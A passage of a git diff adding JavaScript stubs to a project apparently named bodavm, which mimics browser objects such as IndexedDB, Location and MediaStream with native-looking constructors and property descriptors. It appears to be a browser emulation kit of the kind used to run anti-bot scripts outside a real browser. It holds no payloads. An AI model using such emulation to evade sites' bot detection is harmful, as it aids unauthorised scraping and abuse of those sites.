"autoIncrement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "add", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "clear", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "count", {configurable:true, enumerable:true, writable:true, value:function count (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "count", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "createIndex", {configurable:true, enumerable:true, writable:true, value:function createIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "createIndex", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "delete", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "deleteIndex", {configurable:true, enumerable:true, writable:true, value:function deleteIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "deleteIndex", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "get", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getAll", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "getAllKeys", {configurable:true, enumerable:true, writable:true, value:function getAllKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getAllKeys", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "getKey", {configurable:true, enumerable:true, writable:true, value:function getKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getKey", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "index", {configurable:true, enumerable:true, writable:true, value:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "index", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "openCursor", {configurable:true, enumerable:true, writable:true, value:function openCursor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "openCursor", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "openKeyCursor", {configurable:true, enumerable:true, writable:true, value:function openKeyCursor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "openKeyCursor", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "put", {configurable:true, enumerable:true, writable:true, value:function put (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "put", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/IDBOpenDBRequest.js b/env_xbb_lastest_jsdom/env copy/IDBOpenDBRequest.js new file mode 100644 index 00000000..6232e7e7 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/IDBOpenDBRequest.js @@ -0,0 +1,7 @@ +// IDBOpenDBRequest对象 +bodavm.memory.globalobj['IDBOpenDBRequest'] = function IDBOpenDBRequest(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBOpenDBRequest'], "IDBOpenDBRequest"); +bodavm.memory.globalobj['IDBOpenDBRequest'].prototype.__proto__=bodavm.memory.globalobj['IDBRequest'].prototype; +bodavm.memory.globalobj['IDBOpenDBRequest'].__proto__=bodavm.memory.globalobj['IDBRequest']; +bodavm.toolsFunc.defineProperty('IDBOpenDBRequest', "onblocked", {configurable:true, enumerable:true, get:function onblocked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onblocked_get", arguments)}, set:function onblocked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onblocked_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBOpenDBRequest', "onupgradeneeded", {configurable:true, enumerable:true, get:function onupgradeneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onupgradeneeded_get", arguments)}, set:function onupgradeneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onupgradeneeded_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/IDBRequest.js b/env_xbb_lastest_jsdom/env copy/IDBRequest.js new file mode 100644 index 00000000..69b189e9 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/IDBRequest.js @@ -0,0 +1,12 @@ +// IDBRequest对象 +bodavm.memory.globalobj['IDBRequest'] = function IDBRequest(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBRequest'], "IDBRequest"); +bodavm.memory.globalobj['IDBRequest'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IDBRequest'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IDBRequest', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "result_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "error_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "source", {configurable:true, enumerable:true, get:function source (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "source_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "transaction", {configurable:true, enumerable:true, get:function transaction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "transaction_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "readyState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "onsuccess", {configurable:true, enumerable:true, get:function onsuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onsuccess_get", arguments)}, set:function onsuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onsuccess_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onerror_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/IDBTransaction.js b/env_xbb_lastest_jsdom/env copy/IDBTransaction.js new file mode 100644 index 00000000..dcdf48d5 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/IDBTransaction.js @@ -0,0 +1,16 @@ +// IDBTransaction对象 +bodavm.memory.globalobj['IDBTransaction'] = function IDBTransaction(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBTransaction'], "IDBTransaction"); +bodavm.memory.globalobj['IDBTransaction'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IDBTransaction'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IDBTransaction', "objectStoreNames", {configurable:true, enumerable:true, get:function objectStoreNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "objectStoreNames_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "mode_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "durability", {configurable:true, enumerable:true, get:function durability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "durability_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "db", {configurable:true, enumerable:true, get:function db (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "db_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "error_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onabort_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "oncomplete", {configurable:true, enumerable:true, get:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "oncomplete_get", arguments)}, set:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "oncomplete_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "abort", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "commit", {configurable:true, enumerable:true, writable:true, value:function commit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "commit", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "objectStore", {configurable:true, enumerable:true, writable:true, value:function objectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "objectStore", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/IDBVersionChangeEvent.js b/env_xbb_lastest_jsdom/env copy/IDBVersionChangeEvent.js new file mode 100644 index 00000000..f7bf734d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/IDBVersionChangeEvent.js @@ -0,0 +1,16 @@ +// IDBVersionChangeEvent对象 +bodavm.memory.globalobj['IDBVersionChangeEvent'] = function IDBVersionChangeEvent(){ + if (!(this instanceof IDBVersionChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IDBVersionChangeEvent': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length <1){ + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IDBVersionChangeEvent': 1 argument required, but only 0 present.")} + + } +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBVersionChangeEvent'], "IDBVersionChangeEvent"); +bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['IDBVersionChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "oldVersion", {configurable:true, enumerable:true, get:function oldVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "oldVersion_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "newVersion", {configurable:true, enumerable:true, get:function newVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "newVersion_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "dataLoss", {configurable:true, enumerable:true, get:function dataLoss (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "dataLoss_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "dataLossMessage", {configurable:true, enumerable:true, get:function dataLossMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "dataLossMessage_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Location.js b/env_xbb_lastest_jsdom/env copy/Location.js new file mode 100644 index 00000000..a7a1d665 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Location.js @@ -0,0 +1,25 @@ +// Location对象 +bodavm.memory.globalobj['Location'] = function Location(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Location'], "Location"); + +// debugger +// location对象 +// location对象 +bodavm.memory.globalobj['location'] = {} +bodavm.memory.globalobj['location'].__proto__=bodavm.memory.globalobj['Location'].prototype; +bodavm.toolsFunc.defineProperty('location', "valueOf", {configurable:false, enumerable:false, writable:false, value:function valueOf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "valueOf", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "ancestorOrigins", {configurable:false, enumerable:true, get:function ancestorOrigins (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "ancestorOrigins_get", arguments)}, set:undefined}); +bodavm.toolsFunc.defineProperty('location', "href", {configurable:false, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "href_set", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "origin", {configurable:false, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "origin_get", arguments)}, set:undefined}); +bodavm.toolsFunc.defineProperty('location', "protocol", {configurable:false, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "protocol_get", arguments)}, set:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "protocol_set", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "host", {configurable:false, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "host_get", arguments)}, set:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "host_set", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "hostname", {configurable:false, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "hostname_get", arguments)}, set:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "hostname_set", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "port", {configurable:false, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "port_get", arguments)}, set:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "port_set", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "pathname", {configurable:false, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "pathname_get", arguments)}, set:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "pathname_set", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "search", {configurable:false, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "search_get", arguments)}, set:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "search_set", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "hash", {configurable:false, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "hash_get", arguments)}, set:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "hash_set", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "assign", {configurable:false, enumerable:true, writable:false, value:function assign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "assign", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "reload", {configurable:false, enumerable:true, writable:false, value:function reload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "reload", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "replace", {configurable:false, enumerable:true, writable:false, value:function replace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "replace", arguments)}}); +bodavm.toolsFunc.defineProperty('location', "toString", {configurable:false, enumerable:true, writable:false, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['location'], "location", "toString", arguments)}}); + diff --git a/env_xbb_lastest_jsdom/env copy/LockManager.js b/env_xbb_lastest_jsdom/env copy/LockManager.js new file mode 100644 index 00000000..a0440df5 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/LockManager.js @@ -0,0 +1,5 @@ +// LockManager对象 +bodavm.memory.globalobj['LockManager'] = function LockManager(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LockManager'], "LockManager"); +bodavm.toolsFunc.defineProperty('LockManager', "query", {configurable:true, enumerable:true, writable:true, value:function query (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LockManager'].prototype, "LockManager", "query", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('LockManager', "request", {configurable:true, enumerable:true, writable:true, value:function request (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LockManager'].prototype, "LockManager", "request", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/MediaEncryptedEvent.js b/env_xbb_lastest_jsdom/env copy/MediaEncryptedEvent.js new file mode 100644 index 00000000..41de912f --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/MediaEncryptedEvent.js @@ -0,0 +1,15 @@ +// MediaEncryptedEvent对象 +bodavm.memory.globalobj['MediaEncryptedEvent'] = function MediaEncryptedEvent(){ + + if (!(this instanceof MediaEncryptedEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaEncryptedEvent': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length <1){ + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaEncryptedEvent': 1 argument required, but only 0 present.")} + + } +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaEncryptedEvent'], "MediaEncryptedEvent"); +bodavm.memory.globalobj['MediaEncryptedEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaEncryptedEvent'].__proto__=bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaEncryptedEvent', "initDataType", {configurable:true, enumerable:true, get:function initDataType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaEncryptedEvent'].prototype, "MediaEncryptedEvent", "initDataType_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MediaEncryptedEvent', "initData", {configurable:true, enumerable:true, get:function initData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaEncryptedEvent'].prototype, "MediaEncryptedEvent", "initData_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/MediaQueryList.js b/env_xbb_lastest_jsdom/env copy/MediaQueryList.js new file mode 100644 index 00000000..4c59efcd --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/MediaQueryList.js @@ -0,0 +1,10 @@ +// MediaQueryList对象 +bodavm.memory.globalobj['MediaQueryList'] = function MediaQueryList(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaQueryList'], "MediaQueryList"); +bodavm.memory.globalobj['MediaQueryList'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaQueryList'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaQueryList', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "media_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "matches", {configurable:true, enumerable:true, get:function matches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "matches_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "onchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "addListener", {configurable:true, enumerable:true, writable:true, value:function addListener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "addListener", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "removeListener", {configurable:true, enumerable:true, writable:true, value:function removeListener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "removeListener", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/MediaStream.js b/env_xbb_lastest_jsdom/env copy/MediaStream.js new file mode 100644 index 00000000..e394a884 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/MediaStream.js @@ -0,0 +1,23 @@ +// MediaStream对象 +bodavm.memory.globalobj['MediaStream'] = function MediaStream(){ + if (!(this instanceof MediaStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStream ': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStream'], "MediaStream"); +bodavm.memory.globalobj['MediaStream'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaStream'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaStream', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "id_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "active", {configurable:true, enumerable:true, get:function active (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "active_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "onaddtrack", {configurable:true, enumerable:true, get:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onaddtrack_get", arguments)}, set:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onaddtrack_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "onremovetrack", {configurable:true, enumerable:true, get:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onremovetrack_get", arguments)}, set:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onremovetrack_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "onactive", {configurable:true, enumerable:true, get:function onactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onactive_get", arguments)}, set:function onactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onactive_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "oninactive", {configurable:true, enumerable:true, get:function oninactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "oninactive_get", arguments)}, set:function oninactive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "oninactive_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "addTrack", {configurable:true, enumerable:true, writable:true, value:function addTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "addTrack", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "clone", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getAudioTracks", {configurable:true, enumerable:true, writable:true, value:function getAudioTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getAudioTracks", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getTrackById", {configurable:true, enumerable:true, writable:true, value:function getTrackById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTrackById", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getTracks", {configurable:true, enumerable:true, writable:true, value:function getTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTracks", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getVideoTracks", {configurable:true, enumerable:true, writable:true, value:function getVideoTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getVideoTracks", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "removeTrack", {configurable:true, enumerable:true, writable:true, value:function removeTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "removeTrack", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/MimeType.js b/env_xbb_lastest_jsdom/env copy/MimeType.js new file mode 100644 index 00000000..5a4ba7aa --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/MimeType.js @@ -0,0 +1,7 @@ +// MimeType对象 +bodavm.memory.globalobj['MimeType'] = function MimeType(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MimeType'], "MimeType"); +bodavm.toolsFunc.defineProperty('MimeType', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "type_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MimeType', "suffixes", {configurable:true, enumerable:true, get:function suffixes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "suffixes_get", 